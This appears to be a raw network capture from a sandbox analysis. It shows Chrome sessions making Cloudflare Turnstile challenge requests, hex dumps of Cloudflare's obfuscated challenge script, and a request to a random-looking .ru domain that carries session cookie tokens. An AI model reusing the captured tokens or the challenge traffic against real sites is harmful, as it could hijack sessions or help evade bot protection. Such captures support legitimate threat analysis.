Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:25 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:25 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:25 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 901811d4ad367ce7-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:25 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	62495	104.21.33.70	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:25 UTC	1324	OUT	GET /favicon.ico HTTP/1.1 Host: 8zkl.gratzeware.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://8zkl.gratzeware.ru/7axa6RvO/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InN3NnJ6SFhQcVZlMVB4RHQ1MHlqY1E9PSIsInZhbHVlIjoiM1hFU1hPb2xXdGE3UVluYnpqeEJnd2pxNklsM1dmalFGcVo3QzRtZTFMUDE3VkcvRWVaTjlnRnFDK3NUZFlYVmd5bUdEQjRKSEZ0N21lRW5kQVg2dW5xVG1ybGFrSG51UkRsdWVwSHZMT1drbDFjY04yVnpKYW5PeUxFZkJ6Y1EiLCJtYWMiOiJmOWMwOGRiMGEyMDBmODE1OTI1YTc3MTRhNGEwYmNkMzJmOTk3NGQzZTExYjYzY2EzNTRlNTcxMjAwYTc2MzUyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN4bmJNelZkRzFHUWh2b01YODdvMVE9PSIsInZhbHVlIjoib1Zocm8yMk1oTW9xYWcxaW9VN0oyalpkOXdhTExtR3pBblN2TDV0d3NSRDFCcWduaWMxRkhTQkxQL3FoWUpSell3c0NpNllKV2lMaXFwQ1VZZktaaEN3NUh5aTVoV09rWjNJbTNrQTRVckNNQ1FLMlB6N3lJVE9ySW5CVHhsNjAiLCJtYWMiOiI2NzM0OWQxMmU0ZDE4YTliNzU1OGNiZjY0OTUwMWNlMjMzMmRiN2I0M2E2NGMzMGNkYzhjNzIyNDJlYTE1Nzk0IiwidGFnIjoiIn0%3D
2025-01-13 20:17:25 UTC	1069	IN	HTTP/1.1 404 Not Found Date: Mon, 13 Jan 2025 20:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FEsafJ17MlZZrdaXoUhyQFDm4U2TtZnr3PYptGsmrUZnQGVuGRCvf3jjjT7n%2B%2FWC09CVJteTJytLkz2J8N6qg4zD0ER1ZiX1K3BkrRgQ1Zq6gTUzRzQpQBIWacjfBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=74536&min_rtt=74529&rtt_var=27963&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2126&delivery_rate=38183&cwnd=57&unsent_bytes=0&cid=5d1d9fe347a3744e&ts=444&x=0" CF-Cache-Status: HIT Age: 2723 Server: cloudflare CF-RAY: 901811d748e3236b-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2105&min_rtt=2097&rtt_var=802&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1902&delivery_rate=1350601&cwnd=172&unsent_bytes=0&cid=9bc402f513deea3a&ts=4423&x=0"
2025-01-13 20:17:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	62506	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:25 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:25 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:25 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 901811d8ade8438b-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:25 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	62507	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:25 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901811ce6a59f797&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:26 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:26 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118396 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901811da1a000c8e-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:26 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 73 75 63 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 Data Ascii: he%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_refresh":"Refresh","turnstile_timeout":"Timed%20out","turnstile_footer_terms":"Terms","turnstile_footer_privacy":"Privacy","turnstile_success":"Success%21","invalid_domain":"Invalid%2
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 2c 67 38 2c 67 6a 2c 67 6e 2c 67 6f 2c 67 70 2c 67 74 2c 67 75 2c 67 42 2c 65 50 2c 65 51 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 30 38 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 33 33 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 32 34 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 35 37 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 34 35 34 29 29 2f 35 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 30 32 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 31 34 29 29 2f 37 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,g8,gj,gn,go,gp,gt,gu,gB,eP,eQ){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1208))/1+parseInt(gI(933))/2(parseInt(gI(924))/3)+-parseInt(gI(1457))/4(parseInt(gI(454))/5)+parseInt(gI(1002))/6+parseInt(gI(1414))/7*(parseInt(gI(
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 2c 66 69 3d 66 75 6e 63 74 69 6f 6e 28 68 6f 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 68 6f 3d 67 4a 2c 64 3d 7b 27 61 73 6e 49 41 27 3a 68 6f 28 31 33 36 38 29 2c 27 57 52 6f 46 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 4f 61 76 4a 76 27 3a 68 6f 28 39 30 33 29 2c 27 44 5a 73 63 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 48 49 48 53 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 41 70 4b 48 65 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 3e 69 7d 2c 27 6f 6c 55 43 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 78 4c 5a 69 58 27 3a 66 Data Ascii: ,fi=function(ho,d,e,f,g){return ho=gJ,d={'asnIA':ho(1368),'WRoFC':function(h,i){return i==h},'OavJv':ho(903),'DZscM':function(h,i){return h>i},'HIHSj':function(h,i){return i\|h},'ApKHe':function(h,i){return h>>i},'olUCl':function(h,i){return h&i},'xLZiX':f
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6f 68 54 6a 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 4c 4f 75 45 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 71 48 74 48 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4b 74 7a 47 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 48 44 79 49 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 6c 7a 5a 58 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 68 6f 28 37 36 Data Ascii: M':function(h,i){return h(i)},'ohTjM':function(h,i){return i!=h},'LOuEt':function(h,i){return h(i)},'qHtHY':function(h,i){return h(i)},'KtzGp':function(h,i){return i==h},'HDyIo':function(h,i){return h-i},'lzZXF':function(h,i){return i===h}},e=String[ho(76
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 38 38 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 64 5b 68 72 28 38 31 31 29 5d 28 73 2c 46 29 3b 48 3c 3c 3d 31 2c 49 3d 3d 64 5b 68 72 28 38 30 30 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 68 72 28 31 31 31 32 29 5d 28 64 5b 68 72 28 31 30 33 36 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 68 72 28 37 38 38 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 68 72 28 31 30 32 38 29 5d 28 38 2c 73 29 3b 48 3d 64 5b 68 72 28 34 32 30 29 5d 28 64 5b 68 72 28 31 33 30 38 29 5d 28 48 2c 31 29 2c 4d 26 31 2e 37 38 29 2c 64 5b 68 72 28 34 36 35 29 5d 28 49 2c 64 5b 68 72 28 38 30 30 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 68 72 28 31 31 31 32 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 Data Ascii: 88)](0)){for(s=0;d[hr(811)](s,F);H<<=1,I==d[hr(800)](j,1)?(I=0,G[hr(1112)](d[hr(1036)](o,H)),H=0):I++,s++);for(M=C[hr(788)](0),s=0;d[hr(1028)](8,s);H=d[hr(420)](d[hr(1308)](H,1),M&1.78),d[hr(465)](I,d[hr(800)](j,1))?(I=0,G[hr(1112)](o(H)),H=0):I++,M>>=1,s
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 5b 68 72 28 31 32 30 37 29 5d 28 68 72 28 38 39 39 29 2c 68 72 28 36 35 32 29 29 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 68 72 28 37 30 39 29 5d 28 64 5b 68 72 28 31 32 35 38 29 5d 28 48 2c 31 29 2c 4d 26 31 29 2c 64 5b 68 72 28 37 30 37 29 5d 28 49 2c 64 5b 68 72 28 35 37 33 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 68 72 28 31 31 31 32 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 44 3d 3d 30 26 26 46 2b 2b 7d 66 6f 72 28 4d 3d 32 2c 73 3d 30 3b 64 5b 68 72 28 31 31 39 33 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 68 72 28 38 39 33 29 5d 28 48 3c 3c 31 2c 4d 26 31 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 68 72 28 31 31 31 32 29 5d 28 6f 28 48 29 29 Data Ascii: [hr(1207)](hr(899),hr(652))}else for(M=x[C],s=0;s<F;H=d[hr(709)](d[hr(1258)](H,1),M&1),d[hr(707)](I,d[hr(573)](j,1))?(I=0,G[hr(1112)](o(H)),H=0):I++,M>>=1,s++);D--,D==0&&F++}for(M=2,s=0;d[hr(1193)](s,F);H=d[hr(893)](H<<1,M&1),I==j-1?(I=0,G[hr(1112)](o(H))
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 68 75 28 31 31 31 32 29 5d 28 4d 29 3b 3b 29 69 66 28 64 5b 68 75 28 35 32 33 29 5d 28 68 75 28 38 38 37 29 2c 68 75 28 31 35 31 34 29 29 29 43 2b 2b 2c 69 28 6a 2c 4a 2c 6f 2b 31 29 3b 65 6c 73 65 7b 69 66 28 64 5b 68 75 28 37 31 32 29 5d 28 49 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 75 28 31 33 38 30 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 64 5b 68 75 28 31 36 31 37 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 Data Ascii: )),J\|=F(0<L?1:0),F<<=1);M=e(J);break;case 2:return''}for(E=s[3]=M,D[hu(1112)](M);;)if(d[hu(523)](hu(887),hu(1514)))C++,i(j,J,o+1);else{if(d[hu(712)](I,i))return'';for(J=0,K=Math[hu(1380)](2,C),F=1;K!=F;L=H&G,H>>=1,H==0&&(H=j,G=d[hu(1617)](o,I++)),J\|=F(0
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 69 6f 6e 28 67 2c 68 2c 69 2c 68 78 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 6b 3d 28 68 78 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 78 28 35 31 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3c 48 7d 2c 6a 5b 68 78 28 31 36 35 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 48 7d 2c 6a 5b 68 78 28 31 34 36 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 7c 48 7d 2c 6a 5b 68 78 28 31 36 34 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 26 48 7d 2c 6a 5b 68 78 28 31 30 38 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2d 48 7d 2c 6a 5b 68 78 28 31 34 35 36 29 5d Data Ascii: ion(g,h,i,hx,j,k,l,m,n,o,s,x,B,C,D,E,F){k=(hx=gJ,j={},j[hx(513)]=function(G,H){return G<H},j[hx(1653)]=function(G,H){return G==H},j[hx(1467)]=function(G,H){return G\|H},j[hx(1647)]=function(G,H){return G&H},j[hx(1089)]=function(G,H){return G-H},j[hx(1456)]
2025-01-13 20:17:26 UTC	1369	IN	Data Raw: 31 35 35 35 29 5d 28 45 29 5b 68 78 28 31 31 30 34 29 5d 28 27 2b 27 2c 68 78 28 33 33 34 29 29 2c 42 5b 68 78 28 38 37 39 29 5d 28 6b 5b 68 78 28 38 38 33 29 5d 28 27 76 5f 27 2c 65 4d 5b 68 78 28 37 31 35 29 5d 5b 68 78 28 31 30 37 32 29 5d 29 2b 27 3d 27 2b 46 29 7d 63 61 74 63 68 28 48 29 7b 7d 7d 2c 65 4d 5b 67 4a 28 34 32 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 68 79 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 68 79 3d 67 4a 2c 65 3d 7b 27 53 70 57 66 77 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 28 6f 29 7d 2c 27 51 4d 6a 4f 42 27 3a 68 79 28 36 34 32 29 2c 27 45 78 4f 58 6b 27 3a 68 79 28 37 33 38 29 2c 27 4f 6e 6b 7a 68 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 20 Data Ascii: 1555)](E)[hx(1104)]('+',hx(334)),B[hx(879)](k[hx(883)]('v_',eM[hx(715)][hx(1072)])+'='+F)}catch(H){}},eM[gJ(427)]=function(d,hy,e,f,g,h,i,j,k,l,m){(hy=gJ,e={'SpWfw':function(n,o){return n(o)},'QMjOB':hy(642),'ExOXk':hy(738),'Onkzh':function(n,o){return n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	62508	104.18.94.41	443	5448	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:17:26 UTC	1169	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3187 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:17:26 UTC	3187	OUT	Data Raw: 76 5f 39 30 31 38 31 31 63 65 36 61 35 39 66 37 39 37 3d 79 78 50 30 6f 30 24 30 75 30 7a 30 44 43 33 71 43 33 66 30 43 4f 76 42 47 4b 4f 33 49 43 69 69 33 54 65 33 76 48 30 43 4e 33 41 30 76 50 4b 76 51 4e 50 33 6b 72 4e 33 46 6d 43 58 79 33 57 30 43 66 50 33 76 6a 38 78 73 56 33 6a 42 33 77 33 43 78 33 6a 50 67 48 33 65 33 73 48 76 69 33 42 48 72 50 78 30 30 47 48 73 69 49 30 47 41 45 33 6a 48 76 5a 36 30 50 66 32 53 62 4f 48 41 78 4d 6b 4a 63 48 73 51 53 5a 63 71 50 73 35 33 72 7a 51 33 50 37 36 65 46 68 59 33 56 35 30 33 32 6d 33 4b 75 68 50 71 51 4f 67 44 4d 36 39 68 5a 39 57 57 30 76 6a 62 46 6d 30 33 43 45 58 33 5a 7a 4b 69 32 50 6d 69 72 7a 6f 33 50 50 33 52 77 68 2d 31 5a 32 61 6e 46 75 58 33 73 39 35 33 72 4c 4a 33 5a 5a 78 76 4d 78 4f 57 2d 36 Data Ascii: v_901811ce6a59f797=yxP0o0$0u0z0DC3qC3f0COvBGKO3ICii3Te3vH0CN3A0vPKvQNP3krN3FmCXy3W0CfP3vj8xsV3jB3w3Cx3jPgH3e3sHvi3BHrPx00GHsiI0GAE3jHvZ60Pf2SbOHAxMkJcHsQSZcqPs53rzQ3P76eFhY3V5032m3KuhPqQOgDM69hZ9WW0vjbFm03CEX3ZzKi2Pmirzo3PP3Rwh-1Z2anFuX3s953rLJ3ZZxvMxOW-6
2025-01-13 20:17:26 UTC	751	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:17:26 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 153056 Connection: close cf-chl-gen: CCSiHGkNVV7R7IC95mD8PTtwun9hMrBZgyY+QFfjtfLCUfkFwL19K+Xv4clYTNDxSjxgZ0yIDZk4+9rNvLb5L7psluyp4+/4PNg9gZ6lnNkk6+64M4Nvxd/hPhdJfiYGsucSLtbzGN0Ayn8sw36b5cGdxi9nLeDVTVb3d7whEcspx5iBzfo/7shHOuFnQfZh5P4m0aR7UQ/pyfQz5Ct4Hh0rg3KXJS5ruXzsT/yBht/v1W1m/jIiJ78LKUewCmYHr+AKoB2hGdOXIR7mGNRx/UyMQLfwTxrlnpNK38Yky4K+JerrjIRCpRJ59WFm03N82hTtTDIUT7vLlIU7imJIptRtjGKTcsSifNVFi081WNSwLKAGwBgk9YJ6S9zAC+JaL+EhvEajV6X6drXjGh5e6r63cxj06cWLHSPFhlFGCL+P2AuIcoqBwwxg6JKYomyTSN2YT6uEsogeP8YsfDPjJK9AH/uYJAZj/JmpPulsedM=$VDJe8RT7EM4HVTtETy0omg== Server: cloudflare CF-RAY: 901811dafd525e82-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:17:26 UTC	618	IN	Data Raw: 6d 4b 47 61 78 63 72 42 6d 59 79 37 78 73 4f 73 71 4a 4f 38 6a 4c 62 4d 6f 64 4c 46 75 64 50 4e 73 4a 48 66 31 64 43 69 72 70 7a 6c 34 4d 6a 45 6e 4b 4b 6d 75 2b 53 6f 75 72 6e 65 72 66 4b 74 78 4c 4b 7a 78 37 58 73 2b 76 50 54 32 63 33 71 7a 62 37 6c 39 67 6a 45 34 73 6b 43 77 65 76 32 32 74 2f 78 2f 67 2f 38 41 66 30 53 2b 42 48 52 46 65 34 52 45 4e 63 66 37 75 38 44 44 68 30 61 48 65 59 68 48 69 45 4e 35 67 41 6a 4b 53 58 70 36 7a 4d 48 42 42 67 4b 42 42 49 36 2b 78 67 4d 2f 53 73 37 48 54 49 34 49 7a 6f 37 50 30 55 44 50 30 4d 47 51 42 67 4e 44 44 38 69 55 52 4d 56 4c 30 78 4d 57 6c 67 38 55 43 39 64 57 79 34 39 50 46 39 4e 5a 46 46 63 49 57 4a 57 4a 6c 78 70 58 6b 38 2b 63 46 52 6b 63 69 30 7a 4d 45 56 57 61 46 4d 38 56 31 39 4f 50 33 2b 41 65 46 31 Data Ascii: 